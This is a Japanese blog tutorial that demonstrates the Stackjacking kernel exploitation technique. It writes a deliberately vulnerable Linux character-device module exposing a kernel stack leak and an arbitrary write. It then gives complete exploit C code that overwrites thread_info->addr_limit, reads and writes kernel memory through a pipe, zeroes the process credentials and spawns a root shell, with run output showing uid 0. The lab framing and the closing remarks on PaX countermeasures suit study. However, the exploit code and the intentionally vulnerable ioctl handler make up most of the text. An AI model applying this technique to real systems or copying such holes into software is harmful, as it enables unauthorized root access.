読者です 読者をやめる 読者になる 読者になる

LinuxカーネルモジュールでStackjackingによるSMEP+SMAP+KADR回避をやってみる

Exploit

「Linuxカーネルモジュールでret2usrによる権限昇格をやってみる」では、Kernel Address Display Restriction(KADR)を無効にした上で/proc/kallsymsからカーネルシンボルのアドレスを取得し、カーネル空間からユーザ空間の関数を実行させることにより権限昇格を行った(ret2usr)。 ret2usrはIntel SMEPで防ぐことができるが、SMEPを回避する手法としてStackjackingと呼ばれるものが知られている。 そこで、ここではStackjackingによるSMEP回避をやってみる。 また、StackjackingはSMAPおよびKADRの回避も行うことができるので、合わせてこれらも有効な状況を仮定する。

環境

Ubuntu 14.04.1 LTS 64bit版、Intel SMEP無効

$ uname -a
Linux vm-ubuntu64 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2

$ cat /proc/cpuinfo | grep flags
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant_tsc rep_good nopl pni monitor ssse3 lahf_lm

脆弱性のあるカーネルモジュールを書いてみる

Stackjackingは任意アドレス書き換え(arbitrary address write)に加え、カーネルスタック内の任意のアドレスのリーク(kernel stack address leak)を必要とする。 カーネルスタックのアドレスリークは主にスタック上の配列や構造体の未初期化メンバの参照により発生する。

そこで、「Linuxカーネルモジュールでret2usrによる権限昇格をやってみる」と同様、話を簡単にするために意図的にarbitrary address writeおよびkernel stack address leakを可能にしたカーネルモジュールを書いてみる。

/* mychardev.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

#include "mychardev.h"
#define DEVICE_NAME "mychardev"

static int device_open(struct inode *inode, struct file *file)
{
    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    module_put(THIS_MODULE);
    return 0;
}

static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset)
{
    return -EINVAL;
}

static ssize_t device_write(struct file *filp, const char *buffer, size_t length, loff_t * offset)
{
    return -EINVAL;
}

long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param)
{
    unsigned long buf[100];
    struct ioctl_sl_arg *sl_arg;
    struct ioctl_aaw_arg *aaw_arg;

    buf[0] = 0;

    switch (ioctl_num) {
    case IOCTL_STACK_LEAK:
        sl_arg = (struct ioctl_sl_arg *)ioctl_param;
        put_user(buf[sl_arg->index], &sl_arg->value);
        return 0;
    case IOCTL_AAW:
        aaw_arg = (struct ioctl_aaw_arg *)ioctl_param;
        *(aaw_arg->ptr) = aaw_arg->value;
        return 0;
    }

    return -EINVAL;
}

static struct file_operations fops = {
    .open = device_open,
    .release = device_release,
    .read = device_read,
    .write = device_write,
    .unlocked_ioctl = device_ioctl,
};

int init_module(void)
{
    int ret_val;
    ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &fops);
    if (ret_val < 0) {
        printk(KERN_ALERT "Registering char device failed with %d\n", ret_val);
        return ret_val;
    }
    printk(KERN_INFO "try 'sudo mknod %s c %d 0'\n", DEVICE_FILE_NAME, MAJOR_NUM);
    return 0;
}

void cleanup_module(void)
{
    unregister_chrdev(MAJOR_NUM, DEVICE_NAME);
}
/* mychardev.h */
#ifndef MYCHARDEV_H
#define MYCHARDEV_H

#include <linux/ioctl.h>

#define MAJOR_NUM 200
#define DEVICE_FILE_NAME "mychardev"
#define IOCTL_STACK_LEAK _IOW(MAJOR_NUM, 0, struct ioctl_sl_arg *)
#define IOCTL_AAW _IOR(MAJOR_NUM, 1, struct ioctl_aaw_arg *)

struct ioctl_sl_arg {
    int index;
    unsigned long value;
};

struct ioctl_aaw_arg {
    unsigned long *ptr;
    unsigned long value;
};

#endif
# Makefile
obj-m += mychardev.o

all:
[TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
[TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

上のコードでは、ioctl(2)でIOCTL_STACK_LEAKを呼ぶと、引数に与えたioctl_sl_arg構造体で指定した配列インデックスにある未初期化メモリの値を取得する。 また、IOCTL_AAWを呼ぶと、引数に与えたioctl_aaw_arg構造体で指定したアドレスを指定した値に書き換える。 なお、put_user関数カーネルモードにおいてユーザ空間にデータを書き込むカーネル関数である。

カーネルモジュールをコンパイル、インストールし、インストールされていることを確認してみる。

$ make
make -C /lib/modules/3.13.0-44-generic/build M=/home/user/tmp/mychardev modules
make[1]: Entering directory `/usr/src/linux-headers-3.13.0-44-generic'
  CC [M]  /home/user/tmp/mychardev/mychardev.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/user/tmp/mychardev/mychardev.mod.o
  LD [M]  /home/user/tmp/mychardev/mychardev.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-44-generic'

$ sudo insmod mychardev.ko

$ lsmod
Module                  Size  Used by
mychardev              12640  0

上の結果から、コンパイルに成功しインストールできていることがわかる。

次に、コード中で出力するようにしておいたカーネルメッセージに従い、キャラクタデバイスを作成する。

$ dmesg | tail
[   15.417627] nf_conntrack version 0.5.0 (7952 buckets, 31808 max)
[   15.780644] init: plymouth-upstart-bridge main process ended, respawning
[   16.650019] aufs 3.13-20140303
[   17.030365] IPv6: ADDRCONF(NETDEV_UP): docker0: link is not ready
[   17.628478] audit_printk_skb: 90 callbacks suppressed
[   17.628482] type=1400 audit(1427382411.453:42): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="docker-default" pid=1243 comm="apparmor_parser"
[  819.449337] mychardev: module license 'unspecified' taints kernel.
[  819.449340] Disabling lock debugging due to kernel taint
[  819.449365] mychardev: module verification failed: signature and/or  required key missing - tainting kernel
[  819.450393] try 'sudo mknod mychardev c 200 0'

$ sudo mknod mychardev c 200 0

$ ls -l mychardev
crw-r--r-- 1 root root 200, 0 Mar 27 00:21 mychardev

Stackjackingの概要

Stackjackingは、まず取得したカーネルスタック内のアドレスからカーネルスタックのベースアドレスを計算する。 カーネルスタックのベースアドレスは、leaked_addr & ~0x1FFFを計算することにより求めることができる。

カーネルスタックのベースアドレスには、実行中のスレッドに関するthread_info構造体が配置されている。 thread_info構造体の内容は次の通り。

 25 struct thread_info {
 26         struct task_struct      *task;          /* main task structure */
 27         struct exec_domain      *exec_domain;   /* execution domain */
 28         __u32                   flags;          /* low level flags */
 29         __u32                   status;         /* thread synchronous flags */
 30         __u32                   cpu;            /* current CPU */
 31         int                     saved_preempt_count;
 32         mm_segment_t            addr_limit;
 33         struct restart_block    restart_block;
 34         void __user             *sysenter_return;
 35 #ifdef CONFIG_X86_32
 36         unsigned long           previous_esp;   /* ESP of the previous stack in
 37                                                    case of nested (IRQ) stacks
 38                                                 */
 39         __u8                    supervisor_stack[0];
 40 #endif
 41         unsigned int            sig_on_uaccess_error:1;
 42         unsigned int            uaccess_err:1;  /* uaccess failed */
 43 };

この構造体のaddr_limitは、ユーザ空間のアドレス上限を示すものであり、通常x86の場合0xc0000000x64の場合0x7ffffffff000となっている。 この値はカーネル関数において、ユーザ空間のプログラムからメモリアクセスを行う際の制限に用いられている(参考)。 したがって、この値を書き換えればユーザ空間のプログラムからカーネル空間のアドレスへのアクセスを可能にできる。

addr_limitを書き換えた後は、pipe(2)を通してread/writeを行うことでカーネル空間を含めた任意のアドレスの読み書きを行うことができる。 そこで、次にthread_info構造体の先頭にあるtask_struct構造体を参照する。 task_struct構造体はプロセスに関する各種情報が格納された非常に大きな構造体であるが、ここでは権限情報に関連するreal_credおよびcredに着目する。

1042 struct task_struct {
1043         volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
1044         void *stack;
1045         atomic_t usage;
1046         unsigned int flags;     /* per process flags, defined below */
1047         unsigned int ptrace;
1048 
     (snip)
1191 /* process credentials */
1192         const struct cred __rcu *real_cred; /* objective and real subjective task
1193                                          * credentials (COW) */
1194         const struct cred __rcu *cred;  /* effective (overridable) subjective task
1195                                          * credentials (COW) */
1196         char comm[TASK_COMM_LEN]; /* executable name excluding path
1197                                      - access with [gs]et_task_comm (which lock
1198                                        it with task_lock())
1199                                      - initialized normally by setup_new_exec */
     (snip)
1453 #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
1454         unsigned int    sequential_io;
1455         unsigned int    sequential_io_avg;
1456 #endif
1457 };

ここで、real_credは他のプロセスから見たプロセスそのものの権限、credは他のプロセスやファイルなどにアクセスする際の権限を表すcred構造体へのポインタである。 cred構造体の内容は次の通り。

 79 /*
 80  * The security context of a task
 81  *
 82  * The parts of the context break down into two categories:
 83  *
 84  *  (1) The objective context of a task.  These parts are used when some other
 85  *      task is attempting to affect this one.
 86  *
 87  *  (2) The subjective context.  These details are used when the task is acting
 88  *      upon another object, be that a file, a task, a key or whatever.
 89  *
 90  * Note that some members of this structure belong to both categories - the
 91  * LSM security pointer for instance.
 92  *
 93  * A task has two security pointers.  task->real_cred points to the objective
 94  * context that defines that task's actual details.  The objective part of this
 95  * context is used whenever that task is acted upon.
 96  *
 97  * task->cred points to the subjective context that defines the details of how
 98  * that task is going to act upon another object.  This may be overridden
 99  * temporarily to point to another security context, but normally points to the
100  * same context as task->real_cred.
101  */
102 struct cred {
103         atomic_t        usage;
104 #ifdef CONFIG_DEBUG_CREDENTIALS
105         atomic_t        subscribers;    /* number of processes subscribed */
106         void            *put_addr;
107         unsigned        magic;
108 #define CRED_MAGIC      0x43736564
109 #define CRED_MAGIC_DEAD 0x44656144
110 #endif
111         kuid_t          uid;            /* real UID of the task */
112         kgid_t          gid;            /* real GID of the task */
113         kuid_t          suid;           /* saved UID of the task */
114         kgid_t          sgid;           /* saved GID of the task */
115         kuid_t          euid;           /* effective UID of the task */
116         kgid_t          egid;           /* effective GID of the task */
117         kuid_t          fsuid;          /* UID for VFS ops */
118         kgid_t          fsgid;          /* GID for VFS ops */
119         unsigned        securebits;     /* SUID-less security management */
120         kernel_cap_t    cap_inheritable; /* caps our children can inherit */
121         kernel_cap_t    cap_permitted;  /* caps we're permitted */
122         kernel_cap_t    cap_effective;  /* caps we can actually use */
123         kernel_cap_t    cap_bset;       /* capability bounding set */
124 #ifdef CONFIG_KEYS
125         unsigned char   jit_keyring;    /* default keyring to attach requested
126                                          * keys to */
127         struct key __rcu *session_keyring; /* keyring inherited over fork */
128         struct key      *process_keyring; /* keyring private to this process */
129         struct key      *thread_keyring; /* keyring private to this thread */
130         struct key      *request_key_auth; /* assumed request_key authority */
131 #endif
132 #ifdef CONFIG_SECURITY
133         void            *security;      /* subjective LSM security */
134 #endif
135         struct user_struct *user;       /* real user ID subscription */
136         struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
137         struct group_info *group_info;  /* supplementary groups for euid/fsgid */
138         struct rcu_head rcu;            /* RCU deletion hook */
139 };

つまり、この構造体のuid等一式を0に書き換えることで、root権限への権限昇格を行うことができる。

以上をまとめると次のようになる。

  1. カーネルスタック内のアドレスを未初期化メンバの参照などにより取得する(kernel stack address leak)
  2. 取得したアドレスからカーネルスタックのベースアドレスを計算する
  3. カーネルスタックのベースアドレスにあるthread_info構造体に着目し、addr_limitをarbitrary address writeにより書き換える
  4. pipe(2)でパイプを作り、以降これを介して任意アドレスへの読み書きを行う
  5. thread_info構造体の最初のメンバであるtask_struct構造体を参照し、real_credおよびcredを特定する
  6. real_credおよびcredにあるuid他一式を書き換え、権限昇格を行う

この一連の流れにおいてカーネルモードへの遷移は行われないため、SMEPおよびSMAPを回避できることがわかる。 また、カーネルシンボルのアドレスも利用しないため、KADRが有効な条件下でも動作することがわかる。

エクスプロイトコードを書いてみる

上の内容をもとに、エクスプロイトコードを書くと次のようになる。

/* ioctl.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>

#include "mychardev.h"

#define KSTACKBASE 0xffff880000000000
#define KSTACKTOP 0xffff8800c0000000
#define KERNELBASE 0xffff880000000000

int pipefd[2];

int is_kernel_stack(unsigned long value)
{
    return (KSTACKBASE <= value && value < KSTACKTOP);
}

int is_kernel_pointer(void *ptr)
{
    unsigned long value = (unsigned long)ptr;
    return (KERNELBASE <= value);
}

int kmemcpy(void *dest, void *src, size_t size)
{
    write(pipefd[1], src, size);
    read(pipefd[0], dest, size);
    return size;
}

int main()
{
    int fd;
    int ret_val;
    struct ioctl_sl_arg sl_arg;
    struct ioctl_aaw_arg aaw_arg;

    /* open the vulnerable device */
    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        exit(1);
    }

    puts("[*] leak kernel stack values");
    sl_arg.index = 0;
    sl_arg.value = 0;
    while (!is_kernel_stack(sl_arg.value)) {
        ret_val = ioctl(fd, IOCTL_STACK_LEAK, &sl_arg);
        if (ret_val < 0) {
            printf("ioctl failed: %d\n", ret_val);
            exit(1);
        }
        printf("%lx\n", sl_arg.value);
        sl_arg.index++;
    }
    void *kstack = (void *)(sl_arg.value & ~0x1fff);
    printf("[+] kernel stack address = %p\n", kstack);

    puts("[*] overwrite thread_info->addr_limit");
    void *addr_limit = kstack + sizeof(void *)*2 + sizeof(int)*4;
    aaw_arg.ptr = addr_limit;
    aaw_arg.value = -1UL;

    ret_val = ioctl(fd, IOCTL_AAW, &aaw_arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        exit(1);
    }

    close(fd);

    ret_val = pipe(pipefd);
    if (ret_val < 0) {
        printf("pipe failed: %d\n", ret_val);
        exit(1);
    }

    void *task_struct;
    kmemcpy(&task_struct, kstack, sizeof(void *));
    printf("[+] task_struct = %p\n", task_struct);

    void *real_cred;
    void *cred;
    unsigned int uid;
    puts("[*] seek task_struct->real_cred");
    while (1) {
        task_struct += sizeof(void *);
        kmemcpy(&real_cred, task_struct, sizeof(void *));
        if (!is_kernel_pointer(real_cred)) {
            printf("%p -> %p\n", task_struct, real_cred);
            continue;
        }
        kmemcpy(&uid, real_cred + sizeof(unsigned int), sizeof(unsigned int));
        printf("%p -> %p -> %u\n", task_struct, real_cred, uid);
        if (getuid() == uid) {
            cred = task_struct + sizeof(void *);
            break;
        }
    }
    printf("[+] task_struct->real_cred = %p\n", real_cred);
    printf("[+] task_struct->cred = %p\n", cred);

    puts("[*] overwrite task_struct->real_cred members");
    unsigned int zeroarray[8] = {};
    kmemcpy(real_cred + 4, &zeroarray, sizeof(zeroarray));

    kmemcpy(&uid, real_cred + sizeof(unsigned int), sizeof(unsigned int));
    printf("[+] task_struct->real_cred->uid = %d\n", uid);

    puts("[*] overwrite task_struct->cred to the same address as real_cred");
    kmemcpy(cred, &real_cred, sizeof(void *));

    kmemcpy(&cred, cred, sizeof(void *));
    printf("[+] task_struct->cred = %p\n", cred);

    close(pipefd[0]);
    close(pipefd[1]);

    printf("[+] getuid() = %d\n", getuid());
    execl("/bin/sh", "sh", NULL);
}

ここで、is_kernel_stack関数およびis_kernel_pointer関数はアドレスの値をもとにスタックアドレス、カーネル空間内のアドレスかどうかを判定する関数である。 また、kmemcpy関数はあらかじめ作っておいたパイプを介してアドレスの読み書きを行う関数である。

コードの内容を簡単にまとめると次のようになる。

  1. 脆弱性のあるキャラクタデバイスを開き、kernel address stack leakによりスタックアドレスを指すポインタを探す
  2. 発見したアドレスからカーネルスタックのベースアドレスを計算する
  3. arbitrary address writeにより、ベースアドレスにあるthread_info構造体のaddr_limitを-1UL(0xffffffffffffffff)に書き換える
  4. kmemcpy関数で使うパイプを作る
  5. thread_info構造体の最初のメンバであるtask_struct構造体のアドレスを読み出す
  6. task_struct構造体から、real_credおよびcredを探す
  7. real_credのuid他一式をすべて0で書き換える
  8. credが保持するポインタを、real_credと同じcred構造体を指すように書き換える
  9. パイプを閉じ、権限昇格が行われた状態でシェルを起動する

実際にエクスプロイトコードを実行する前に、KADRを有効にしておく。

$ sudo sysctl -w kernel.kptr_restrict=1
kernel.kptr_restrict = 1

$ cat /proc/kallsyms | head
0000000000000000 D irq_stack_union
0000000000000000 D __per_cpu_start
0000000000000000 d exception_stacks
0000000000000000 D gdt_page
0000000000000000 D cpu_llc_shared_map
0000000000000000 D cpu_core_map
0000000000000000 D cpu_sibling_map
0000000000000000 D cpu_llc_id
0000000000000000 D cpu_number
0000000000000000 D x86_bios_cpu_apicid

エクスプロイトコードをコンパイルし、実行してみる。

$ gcc ioctl.c

$ ./a.out
[*] leak kernel stack values
0
ffffffff8109ec18
ffff88003c49fbf0
[+] kernel stack address = 0xffff88003c49e000
[*] overwrite thread_info->addr_limit
[+] task_struct = 0xffff88003c915fc0
[*] seek task_struct->real_cred
0xffff88003c915fc8 -> 0xffff88003c49e000 -> 4294936576
0xffff88003c915fd0 -> 0x40600000000002
0xffff88003c915fd8 -> (nil)
0xffff88003c915fe0 -> (nil)
(snip)
0xffff88003c916440 -> 0xffff88003c916438 -> 4294936576
0xffff88003c916448 -> 0xffff88003c916448 -> 4294936576
0xffff88003c916450 -> 0xffff88003c916448 -> 4294936576
0xffff88003c916458 -> 0xffff88003a172000 -> 1000
[+] task_struct->real_cred = 0xffff88003a172000
[+] task_struct->cred = 0xffff88003c916460
[*] overwrite task_struct->real_cred members
[+] task_struct->real_cred->uid = 0
[*] overwrite task_struct->cred to the same address as real_cred
[+] task_struct->cred = 0xffff88003a172000
[+] getuid() = 0
# id
uid=0(root) gid=0(root) groups=0(root)
#

SMEP、SMAPについては未検証であるが、KADRが有効な条件下でrootシェルが起動できていることが確認できた。

カーネルモジュールをアンインストールする

$ sudo rmmod mychardev.ko

PaXによる対策とTowelroot

StackjackingはもともとUDEREFをはじめとするPaXのバイパス手法として公表されたものであり、現在のPaXにおいてはthread_info構造体をtask_struct構造体の中に移動することで対策されている(参考)。

また、Android 4.4.2以前で有効なTowelrootと呼ばれるroot化手法は、CVE-2014-3153Linuxカーネルにおけるfutex_requeueの脆弱性)を用いStackjackingを行うことで権限昇格するものである。

関連リンク